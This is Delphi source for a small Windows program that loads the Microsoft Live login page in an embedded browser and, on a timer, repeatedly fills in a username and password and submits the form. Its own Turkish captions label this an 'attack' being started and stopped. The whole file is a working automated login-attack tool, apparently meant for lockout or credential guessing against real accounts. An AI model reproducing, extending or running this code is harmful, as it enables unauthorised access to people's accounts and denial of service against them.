WebBrowser1
    Edit1
    Edit2
    Edit3
    Timer1
    Timer2
    Button1
    Button2
    Label1
    Label2
    Label3
    Label4
    Label5

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, OleCtrls, SHDocVw, StdCtrls, ExtCtrls;
type
  TForm1 = class(TForm)
    WebBrowser1: TWebBrowser;
    Edit1: TEdit;
    Edit2: TEdit;
    Button1: TButton;
    Label1: TLabel;
    Label2: TLabel;
    Edit3: TEdit;
    Button2: TButton;
    Timer1: TTimer;
    Timer2: TTimer;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}
{$I-}
procedure TForm1.Button1Click(Sender: TObject);
begin
   timer1.Enabled := True ;
   timer2.Enabled := True ;
   button1.Enabled := false ;
   label4.Caption := 'saldırı Baslamistir' ;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin

While WebBrowser1.ReadyState <> READYSTATE_Complete do
Application.ProcessMessages;
WebBrowser1.OleObject.Document.GetElementByID('login').Value := Edit1.Text;
WebBrowser1.OleObject.Document.GetElementByID('passwd').Value := Edit2.Text;
WebBrowser1.OleObject.Document.GetElementByID('SI').Click;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
   timer1.Enabled := false ;
   timer2.Enabled := false ;
   button1.Enabled := True ;
   label4.Caption := 'saldırı durdurulmuştur' ;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
edit3.Text := edit3.text + '1'
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
webbrowser1.Navigate('http://login.live.com/');
edit3.Text := '0' ;
edit3.Enabled := False ;
edit3.TabStop := False ;
Timer1.Enabled := False ;
Timer2.Enabled := False ;
end;
end.